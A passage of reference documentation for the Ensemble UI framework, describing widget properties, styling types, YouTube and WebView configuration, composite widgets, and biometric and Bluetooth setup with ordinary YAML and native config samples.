explaining your widget | -| hintStyle | object | Styling the hint text. Default to theme's bodyMedium styling. [see properties](#hintstyles) | -| required | boolean | Whether the field is required | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| icon | object | [See properties](#icon) | -| styles | object | [See properties](#styles) | -| validator | object | [See properties](#validator) [Example](https://studio.ensembleui.com/app/a2qNNXgcmhBxfrTMBVGB/screen/AzD8jmw9Xk2zrGa1IVqd) | -| validateOnUserInteraction | boolean | Default: false. When set to true, validates the user's input on every keypress. [Example](https://studio.ensembleui.com/app/a2qNNXgcmhBxfrTMBVGB/screen/AzD8jmw9Xk2zrGa1IVqd) -| value | string | Specifying the value of your Text Input | -| inputType | string | Pick a predefined input type ` default` `email` `phone ` `number` `text` `url` `datetime ` `ipAddress` | -| keyboardAction | string | Specify the action key on native device's soft keyboard | -| obscureText | boolean | whether we should obscure the typed-in text (e.g Social Security) | -| obscureToggle | boolean | enable the toggling between plain and obscure text. | -| readOnly | boolean | When it is true, the text cannot be modified by any shortcut or keyboard operation. | -| selectable | boolean | Default: true. Setting this to true will enable features such as long-pressing the TextField to select text and show the cut/copy/paste menu, and tapping to move the text caret text. Setting it to false would disable copy and paste behavior. See [this](https://api.flutter.dev/flutter/material/TextField/enableInteractiveSelection.html) | -| toolbarDone | boolean | Display the toolbar with done button on top of the keyboard. (defaults to False) | -| textStyle | object | An opaque object that determines the size, color, and decoration of text. Similar properties as hintStyle [see properties](#hintstyles) | -| mask | string | It formats the input by a given mask. Ex: +# (###) ###-##-##. detailed examples can be seen in [Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/abc081b1-bcb4-4db6-ae55-7987cb6c418e) | -| delayedKeyPressDuration | integer | The delay in milliseconds to trigger onDelayedKeyPress ( min : 0) | -| multiline | boolean | Specifies if this TextInput can span multiple lines. (default False) | -| minLines | integer | Specifies the minimum number of lines to start out (applicable for multiline) | -| maxLines | integer | Specifies the maximum number of lines to visually expand to. This will also enable multi-line if this number is greater than 1 and the 'multiline' property is not set. | -| floatLabel | boolean | [floating label example](#floating-label-example) -| autofillHints | array | List of autofill hints used to specify what type of information should be autofilled. Possible values: `"addressCity"`, `"addressCityAndState"`, `"addressState"`, `"birthday"`, `"birthdayDay"`, `"birthdayMonth"`, `"birthdayYear"`, `"countryCode"`, `"countryName"`, `"creditCardExpirationDate"`, `"creditCardExpirationDay"`, `"creditCardExpirationMonth"`, `"creditCardExpirationYear"`, `"creditCardFamilyName"`, `"creditCardGivenName"`, `"creditCardMiddleName"`, `"creditCardName"`, `"creditCardNumber"`, `"creditCardSecurityCode"`, `"creditCardType"`, `"email"`, `"familyName"`, `"fullStreetAddress"`, `"gender"`, `"givenName"`, `"impp"`, `"jobTitle"`, `"language"`, `"location"`, `"middleInitial"`, `"middleName"`, `"name"`, `"namePrefix"`, `"nameSuffix"`, `"newPassword"`, `"newUsername"`, `"nickname"`, `"oneTimeCode"`, `"organizationName"`, `"password"`, `"photo"`, `"postalAddress"`, `"postalAddressExtended"`, `"postalAddressExtendedPostalCode"`, `"postalCode"`, `"streetAddressLevel1"`, `"streetAddressLevel2"`, `"streetAddressLevel3"`, `"streetAddressLevel4"`, `"streetAddressLine1"`, `"streetAddressLine2"`, `"streetAddressLine3"`, `"sublocality"`, `"telephoneNumber"`, `"telephoneNumberAreaCode"`, `"telephoneNumberCountryCode"`, `"telephoneNumberDevice"`, `"telephoneNumberExtension"`, `"telephoneNumberLocal"`, `"telephoneNumberLocalPrefix"`, `"telephoneNumberLocalSuffix"`, `"telephoneNumberNational"`, `"transactionAmount"`, `"transactionCurrency"`, `"url"`, `"username"` | -| maxLength | integer | The maximum number of characters allowed in the text field. If set, the text field will restrict the input to this number of characters. | -| maxLengthEnforcement | string | none, enforced, truncateAfterCompositionEnds. [see properties](#maxlengthenforcement) | - -### Actions - -| Name | description | -| :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| onKeyPress | On every keystroke, call Ensemble's built-in functions or execute code | -| onFocusReceived | Execute an Ensemble action when the field receives focus | -| onFocusLost | Execute an Ensemble action when the field loses focus | -| onChange | Call Ensemble's built-in functions or execute code when the input changes. This event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| onDelayedKeyPress | Execute an Action after a brief delay specified by delayedKeyPressDuration (default: 300 ms). Consecutive calls within this delay will reset the timer, useful for minimizing server calls for type-ahead scenarios. | - -### icon - -| Property | Type | Description | -| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| name | string | The name of the icon | -| library | string | Which icon library to use. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| fontSize | integer | Sets the size of the text. | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| fontSize | integer | Sets the size of the text. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | -| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| dismissOnTapOutside | boolean | If set `true` keyboard will be dissmissed when user taps outsides the input area. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | - -### hintStyles - -| Property | Type | Description | -| :----------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| fontSize | integer | Sets the size of the text. | -| fontWeight | string | The thickness of the glyphs used to draw the text. `light` `normal` `bold` `w100` `w200` `w300` `w400` `w500` `w600` `w700` ` w800``w900 ` | -| color | integer or string | The color specification for the text, icons, divider etc, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| overflow | string | Set treatment of text longer than available space `wrap` `visible` `clip` `ellipsis` | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| fontfamily | string | Allows users to chose a specific font-family other than the default one. | -| decoration | string | A linear decoration to draw near the text or whether to slant the glyphs in font. `none` `lineThrough` `underline` `overline` | -| decorationStyle | string | The style in which to paint the text decorations (e.g., dashed). `solid` `double` `dotted` `dashed` `wavy` | -| isItalic | boolean | Whether the text should be italic or not | -| lineHeightMultiple | integer | A multiple of the fontSize to determine the line height. (e.g. 2.0 means the line height is double the height the font size occupies). Default null. (note that 1.0 is not the default depending on the font) | -| letterSpacing | integer | The amount of space (in logical pixels) to add between each letter. A negative value can be used to bring the letters closer. | -| wordSpacing | integer | The amount of space (in logical pixels) to add at each sequence of white-space (i.e. between each word). A negative value can be used to bring the words closer. | -| gradient | object | Using this property we can apply gradient to our text | - -### hintStyles.gradient - -| Property | Type | Description | -| :------- | :----- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| stops | array | The list of color stops, each is a number between 0.0 (where the gradient starts) and 1.0 (where the gradient ends). The number of stops should match the number of colors. | -| start | string | The starting position of the gradient,`topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| end | string | The ending position of the gradient, `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | - -### validator - -| Property | Type | Description | -| :--------- | :------ | :------------------------------------------------------------------------------------- | -| minLength | integer | The minimum number of characters | -| maxLength | integer | The maximum number of characters | -| regex | string | The Regular Expression the input will need to match | -| regexError | string | The customized error message to show when the input does not match the provided regex. | - -#### options for styles.variant - -| Option | Description | -| :-------- | :------------------------------------------------------------------------------------------------------------------- | -| box | draw a Box border around this input widget. This property can be defined in the theme to apply to all Input widgets. | -| underline | draw an Underline below this input widget. This property can be defined in the theme to apply to all Input widgets. | - -### MaxLengthEnforcement - -| Property | Type | Description | -| :--------- | :------ | :------------------------------------------------------------------------------------- | -| none | string | No enforcement applied to the editing value. It's possible to exceed the maxLength. | -| enforced | string | Keep the length of the text input from exceeding the max length even when the text has an unfinished composing region. | -| truncateAfterCompositionEnds | string | Users can still input text if the current value is composing even after reaching the max length limit. After composing ends, the value will be truncated. | - ---- - - -# Text widget - -Display and style text within your application. - ---- - - -# Time widget - -The Time Widget enables the rendering of time input fields, allowing users to select and display time values within your application for time-related functionality and interactions. - ---- - -# TripleSwitch widget - -The TripleSwitch Widget enables the rendering of switch toggle elements, providing users with an intuitive and interactive way to toggle between three states (off, mixed, on) within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/) - -## Properties - -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| id | string | ID to be referenced later -| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| value | string | Specifying the value of your switch widget (off, mixed, on) | | -| styles | object | [see properties](#styles) | -| leadingText | string | Sets the text displayed before the checkbox | -| trailingText | string | Sets the text displayed after the checkbox | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| activeColor | integer or string | Sets the active color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| inactiveColor | integer or string | Sets the inactive color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| mixedColor | integer or string | Sets the mixed state color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| activeThumbColor | integer or string | Sets the active thumb color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| inactiveThumbColor | integer or string | Sets the inactive thumb color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | - ---- - -# Type References -These Types objects are used in multiple widgets. They are defined here for reference. - -## TextStyle -TextStyle allows customization of font, size, color, decoration, and more to enhance the UI's textual elements. - -| Property | Type | Description | -|:-------------------|:-----------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports) | -| fontSize | integer | The size of the font. Valid values range from 1 to 1000. | -| lineHeightMultiple | number | A multiplier applied to the font size to determine line height (e.g., 2.0 for double the height of the font size). By default this value varies on the font used. | -| fontWeight | [FontWeight](#FontWeight) | The weight of the font. | -| isItalic | boolean | If true, the text is italicized. | -| color | [Color](#Color) | The color of the text. | -| backgroundColor | [Color](#Color) | The background color of the text | -| gradient | [Gradient](#gradient) | A gradient effect applied to the text. | -| decoration | enum | The text decoration: `none`, `lineThrough`, `underline`, `overline`. | -| decorationStyle | enum | The style of the text decoration (if decoration is not `none`): `solid`, `double`, `dotted`, `dashed`, `wavy`. | -| decorationColor | [Color](#Color) | The color of the decoration. | -| decorationThickness| number | The thickness of the decoration. | -| overflow | enum | Treatment of text exceeding available space: `clip`, `fade`, `ellipsis`, `visible`. | -| letterSpacing | integer | Space between characters in the text. | -| wordSpacing | integer | Space between words in the text. | - -## Gradient - -| Property | Type | Description | -|:---------|:-----------------------------------------------|:-----------------------------------------------------------------------------------------------------------| -| colors | [Color[]](#Color) | An array of colors used for the gradient. | -| stops | number[] | The list of numbers from 0.0 (where the gradient starts) to 1.0 (where the gradient ends), one for each colors specified | -| start | [Alignment](#Alignment) | The starting position of the gradient. | -| end | [Alignment](#Alignment) | The ending position of the gradient. | - -## FontWeight -This property defines the weight (thickness) of the font used in text styling. It includes standard weights and numerical weights for finer control. - -| FontWeight | Description | -|------------|-------------------------------------------| -| light | Lighter font weight. | -| normal | Normal or regular font weight. | -| bold | Bold font weight. | -| w100-w900 | Font weight from 100-900 (light to bold). | - -## Color -This property defines the color based on a pre-defined names (see the supported names below) or as hexdecimal numbers that represent color codes. - -You can use color codes in one of the two ways - -- HTML/CSS format as a string with quotes around it. Starts with # and contains 6 or 8 characters after it. For example, '#FF5733' for orange. `Remember to put quotes around it as # is a comment character in yaml`. -- The common programming language format without quotes. Starts with 0x and has 8 characters after it. For example, 0xFFFF5733 for orange. - -Either way works fine and internally color codes are automatically converted to the programming language format. - -| Name | Description | -|-------------|------------------| -| transparent | Transparent | -| black | Black color. | -| blue | Blue color. | -| white | White color. | -| red | Red color. | -| grey | Grey color. | -| teal | Teal color. | -| amber | Amber color. | -| pink | Pink color. | -| purple | Purple color. | -| yellow | Yellow color. | -| green | Green color. | -| brown | Brown color. | -| cyan | Cyan color. | -| indigo | Indigo color. | -| lime | Lime color. | -| orange | Orange color. | - -## Alignment -This property is used to specify the alignment of an element within its parent. - -| Alignment | Description | -|--------------|-------------------------------------------------------| -| topLeft | Aligns the element at the top-left corner. | -| topCenter | Aligns the element at the top-center. | -| topRight | Aligns the element at the top-right corner. | -| centerLeft | Aligns the element at the center-left side. | -| center | Centers the element both horizontally and vertically. | -| centerRight | Aligns the element at the center-right side. | -| bottomLeft | Aligns the element at the bottom-left corner. | -| bottomCenter | Aligns the element at the bottom-center. | -| bottomRight | Aligns the element at the bottom-right corner. | - -## TapHaptic -This property specifies the type of haptic feedback to be played upon tapping an element. The options are listed in decreasing order of intensity. - -| Haptic Feedback | Description | -|-----------------------|--------------------------------------------------------------------------------------------------| -| heavyImpact | Generates a haptic feedback of the highest intensity. | -| mediumImpact | Provides a haptic feedback of medium intensity. | -| lightImpactHaptic | Offers a lighter haptic impact as feedback. | -| selectionClickHaptic | Produces a mild, click-like haptic feedback, typically used for selection changes. | -| vibrateHaptic | Triggers a standard vibration as haptic feedback. | - -## BackgroundImage -This property configures a background image for a widget, including its source, fit, alignment, and a fallback option. - -| Property | Type | Description | -|:----------|:-----------------------------------------------|:--------------------------------------------------------------------------------------------------------------------| -| source | string | The Image URL to fill the background. | -| fallback | [Widget](#widget-directory) | Return an inline widget or specify a custom widget to be rendered when the backgroundImage fails to load the image. | -| fit | [Fit](#Fit) | How to fit the image within the dimensions. | -| alignment | [Alignment](#Alignment) | Align this image relative to its parent or dimensions. | - - -## Fit - -This property determines how to fit the image within the dimension or the parent container. - -| Fit Mode | Description | -|------------|-----------------------------------------------------------------------------------------------------| -| fill | Stretch our image to fill the dimension, potentially distorting the aspect ratio if necessary. | -| contain | Scale the image such that the entire image is contained within our dimension. | -| cover | Scale the image to fill our dimension, clipping the image as needed. | -| fitWidth | Scale the image to fit the width, and clipping the height if needed. | -| fitHeight | Scale the image to fit the height, and clipping the width if needed. | -| none | Center-Align the original image size, clipping the content if needed. | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - - -## Border - -| Property | Type | Description | -|:-------------|:---------------------------------------|:-------------------------------------------------------| -| borderRadius | integer / string | Border Radius with CSS-like notation (1 to 4 integers) | -| borderColor | [Color](#Color) | Border color, starting with '0xFF' for full opacity. | -| borderWidth | integer | The thickness of the border. Minimum value: 0. | - -## Shadow -This property defines the shadow properties for a widget, including color, offset, radius, blur radius, and style. - -| Property | Type | Description | -|:-----------------|:------------------|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| shadowColor | string / number | Box shadow color starting with '0xFF' for full opacity. | -| shadowOffset | array of integers | Offset of the shadow in the format `[x, y]`. | -| shadowRadius | integer | The radius of the shadow. Minimum value: 0. | -| shadowBlurRadius | integer | The blur radius of the shadow. Minimum value: 0. | -| shadowStyle | enum | The blur style to apply on the shadow:
    `normal` - Fuzzy inside and outside (default)
    `solid` - Solid inside, fuzzy outside.
    `outer` - Nothing inside, fuzzy outside.
    `inner` - Fuzzy inside, nothing outside. | - ---- - -# Video widget - -The Video Widget enables seamless integration of video content within your application, providing an immersive and engaging multimedia experience for users. - -> To get hands-on experience with `Video` widget, see live example in [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fce92bbb-af8e-403d-bf2d-c10926cc89a0) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------------- | -| source | string | The URL source to the media file | -| showControls | boolean | Offers options to show/hide video controls. (default true) | -| loadingWidget | Widget | The widget to show when video is loading. | -| repeat | boolean | Video will kept replaying in loop. | -| autoplay | boolean | Automatically start the video when player is loaded. (default False) | -| playbackRate | number | For changing the speed at which the video is displayed | -| volume | number | Changes the volume. (max = 100, min = 0) | -| onChange | Action | Action to execute when the video has changed | -| onStart | Action | Call Ensemble's built-in functions or execute code when video is about to start | -| onEnd | Action | Call Ensemble's built-in functions or execute code when video is about to end | - -## Code Example -``` -Video: - source: https://flutter.github.io/assets-for-api-docs/assets/videos/bee.mp4 - repeat: true - autoplay: true - showControls: false - loadingWidget: - Progress: - display: circular -``` - ---- - - -# WebView widget - -The WebView Widget enables seamless integration of web content within native apps and web apps, providing a versatile and consistent browsing experience across platforms. In addition to its core functionality, WebView also supports the use of cookies. [Learn more here!](/pages/tips-and-tricks/cookies.md) - -```yaml -- WebView: - url: https://messages.mycompany.com - allowedLaunchSchemes: - - "tel:" - - "sms:" - - "mailto:" - - "slack:" - - #note that if you explicitly specify `allowedLaunchSchemes` you must specify the defaults as well if you want them to be allowed otherwise they will be overwritten -``` -```yaml -headerOverrideRules: - - urlPattern: "api.example.com" - matchType: CONTAINS - headers: - SECRET: abc123 - mergeExisting: true -``` - ---- - -# Youtube - -The YouTube feature in EnsembleUI allows integration of YouTube videos into your application, providing users with a rich multimedia experience. - -### YouTube Player Configuration -The YouTube player component offers a range of options for customizing the behavior and appearance of YouTube videos within the application. - -- URL: Specifies the URL of the main YouTube video to be played. -- Video List: Provides a list of additional videos to be displayed in the video player. -- Playback Rate: Allows users to adjust the playback speed of the video. -- Volume: Enables users to set the volume level for audio playback. -- Playback Controls: Offers options to show/hide video controls, enable captions, and display annotations. -- Autoplay: Determines whether the video should start playing automatically when loaded. -- Start and End Seconds: Specifies the start and end times of the video playback. -- Aspect Ratio: Defines the aspect ratio of the video player. - -### Controlling Video Playback -The control buttons allow users to interact with the YouTube player and manage video playback effectively. - -- Prev/Next: Navigate to the previous or next video in the playlist. -- Play/Pause: Start or pause video playback. -- Mute/Unmute: Toggle audio mute/unmute. -- Stop: Stop video playback. - -### Setting Playback Rate and Volume -Users can set the playback rate and volume using the provided text input fields: - -- Set playback rate: Adjust the playback speed of the video. -- Set volume: Control the audio volume of the video. - -## Example Configuration -```yaml - - TextInput: - hintText: Set playback rate - id: playback - - TextInput: - hintText: set volume - id: volume - - YouTube: - volume: ${volume.value} - showFullScreenButton: true - url: https://www.youtube.com/watch?v=4NRXx6U8ABQ - videoList: - - https://www.youtube.com/watch?v=H5v3kku4y6Q - - IoBP24I2lwA - playbackRate: ${playback.value} - enableCaptions: true - showControls: true - showAnnotations: false - id: youtubeId - startSeconds: 10 - endSeconds: 40 - autoplay: true - aspectRatio: 4 / 3 - - Flow: - styles: - gap: 16 - lineGap: 16 - children: - - Button: - label: Prev - onTap: | - youtubeId.previousVideo() - - Button: - label: Play - onTap: | - youtubeId.playVideo() - - Button: - label: Pause - onTap: | - youtubeId.pauseVideo() - - Button: - label: Mute - onTap: | - youtubeId.mute() - - Button: - label: Unmute - onTap: | - youtubeId.unMute() - - Button: - label: Next - onTap: | - youtubeId.nextVideo() - - Button: - label: Stop - onTap: | - youtubeId.stopVideo() -``` - -Note: The YouTube feature is compatible with Native iOS and Android applications. - ---- - -# Composite Widgets - -Composite widgets are a powerful concept in Ensemble where multiple smaller widgets are combined to create a more complex and reusable widget. - -Composite widgets can be composed of any combination of basic UI elements such as buttons, text fields, labels, etc., allowing app developers to create complex UI components without having to recreate the same layout and functionality multiple times. - -## Benefits of Composite Widgets - -1. **Reusability**: Composite widgets can be reused across different parts of an app or even across multiple apps, reducing duplication of code and effort. -2. **Modularity**: By breaking down UI components into smaller widgets, developers can build more modular and maintainable app definitions. -3. **Customization**: Composite widgets allow for easy customization through inputs, enabling app developers to adapt the widget's behavior and appearance to suit different use cases. - -## How to use them - -When using a composite widget, - -1. prefix the widget name with `ensemble` -2. pass required inputs -3. further customize the widget with optional parameters - -```yaml -View: - body: - Column: - children: - - ensemble.RatingStars: - inputs: - rating: 3 - size: 24 - starColor: white - starBackgroundColor: red - starGaps: 8 - starPadding: 8 - starBorderRadius: 40 -``` - -## Directory of composite widgets - -| Name | Kitchen sink example | Output | -| ---- | -------------------- | ------ | -| HorizontalProgressBar | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/rlWyrWZrkb6JhxoACptf) | ![HorizontalProgressBar](public/images/composite-widgets/HorizontalProgressBar.png) | -| ImageThumbnailCarousel | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/gRexsL9GfS9k6rLswMck) | ![ImageThumbnailCarousel](public/images/composite-widgets/ImageThumbnailCarousel.png) | -| ProfileImageWithIndicator | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/xCU7BvaYzK20NsEuqyNB) | ![ProfileImageWithIndicator](public/images/composite-widgets/ProfileImageWithIndicator.png) | -| RatingStars | [link](https://studio.ensembleui.com/app/8PghcmhtGkWiWffmhDDl/widget/pn4g23nRuQ5D8AsN1qtp) | ![RatingStars](public/images/composite-widgets/RatingStars.png) | - - -## Contributing to Composite Widgets - -Contributions from the community can greatly enhance the functionality and versatility of composite widgets. Here's how you can contribute: - -**1. Create your widget** - -Create an app and follow these guidelines to create your proposed composite widget. - -- In Studio, navigate to widgets tab of your app and create a new widget. -- Your widget should take inputs allowing app developers to customize the widget. Required inputs should be kept to items that without them, the widget cannot be rendered. Styling of the widget should be configurable by using optional inputs. For instance, background of a Column can be made optional. - - ```yaml - Widget: - inputs: - - bgColor # this is optional and defaults to white - body: - Column: - styles: - backgroundColor: '${ bgColor ? bgColor : "white" }' - ``` - -- Avoid setting width and height specially on container widgets such as rows and columns. -- Your widget should be self contained and not rely on definitions outside the widget such as API definitions and storage. - - -**2. Create a screen documenting the widget** - -Within the same app, create a screen to outline inputs and several example usages. See [this example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/rlWyrWZrkb6JhxoACptf) for reference. - -**3. Share your widget on Builder Support** - -Join Ensemble [Discord server](https://dsc.gg/ensembleui), and post a new topic in [Builder Support channel](https://discord.com/channels/1031982848485359626/1088664937288699992) with a link to your app. - -Make sure to make your app public so that reviewers can access it. - - -![Make app public](public/images/make-app-public.jpg) - ---- - -## authenticateByBiometric - -It helps to authenticate user based on biometrics such as face and fingerprint based on sensor available on user's device. - - -> [Note] -> It only works in native devices which has biometric sensors. - - -### Native Configuration - -#### iOS Configuration - -The action works with both Touch ID and Face ID. However, to use the latter, you need to add following in `info.plist` - -```plist -NSFaceIDUsageDescription -Why is my app authenticating using face id? -``` - -#### Android Configuration - -Update your `MainActivity.java`: - -```java -import io.flutter.embedding.android.FlutterFragmentActivity; - -public class MainActivity extends FlutterFragmentActivity { -} -``` - -or `MainActivity.kt`: - -```kt -import io.flutter.embedding.android.FlutterFragmentActivity - -class MainActivity: FlutterFragmentActivity() { -} -``` - -Permissions - -In your `AndroidManifest.xml`: - -```xml - -``` - -### Sample EDL - -```yaml -Button: - label: Biometric Auth - onTap: - authenticateByBiometric: - label: Authenticate to see your balance - - # if device has pin configurated but not biometric sensor be it face or finger, setting allowConfiguration to true will popup user to first configure the settings. - allowConfiguration: true - onAuthenticated: | - //@code - ensemble.debug('Successfully authenticated'); - - onAuthenticationFailed: | - //@code - ensemble.debug('Failed to authenticate'); - - onSensorNotConfigured: | - //@code - ensemble.debug('sensor is not configured'); - - onSensorNotAvailable: | - //@code - ensemble.debug('sensor not available'); - - onError: | - //@code - ensemble.debug('on unknown error'); - -``` - ---- - -### BLE Client - -Ensemble bluetooth modules allows you to create BLE client on ensemble platform. - - -### SETUP - -#### Android -Add permissions for Android (With Fine Location) -```xml - - - - - - - - - - - - -``` - -When release `project/android/app/proguard-rules.pro` add following:- - -> `-keep class com.lib.flutter_blue_plus.* { *; }` - - -#### IOS - -In the `ios/Runner/Info.plist` let’s add: -```plist - NSBluetoothAlwaysUsageDescription - This app needs Bluetooth to function -``` - - -### Action References - -* Note that the event.data is exactly set of characters that the device is sending. It will be a string. If the device is sending JSON data, that will *not* be automatically converted. You will need to call `JSON.parse(event.data)` to convert it to JSON * - -`bluetoothInit` : Turns on the bluetooth (Android only) and Stream of on & off states of the bluetooth. -```yaml -Icon: - name: bluetooth_fill - library: remix - onTap: - bluetoothInit: - onDataStream: | - bluetoothStatus.text = event.data; -``` -`bluetoothStartScan` : Starts a scan for Ble devices 